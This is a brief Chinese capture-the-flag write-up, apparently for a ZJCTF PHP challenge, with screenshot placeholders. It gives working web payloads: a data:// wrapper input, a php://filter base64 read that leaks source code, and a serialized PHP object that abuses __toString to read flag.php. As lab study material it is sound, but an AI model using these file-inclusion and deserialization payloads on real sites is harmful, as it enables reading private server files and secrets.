图片.png

先使用data构造text：text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
图片.png

接着使用php伪协议读取useless.php：file=php://filter/read=convert.base64-encode/resource=useless.php
图片.png

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

反序列化，让$file=‘flag.php’

<?php

class Flag{  //flag.php
    public $file='flag.php';
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
echo serialize(new Flag());

图片.png

继续构造password参数：password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

图片.png

查看源代码得到flag
图片.png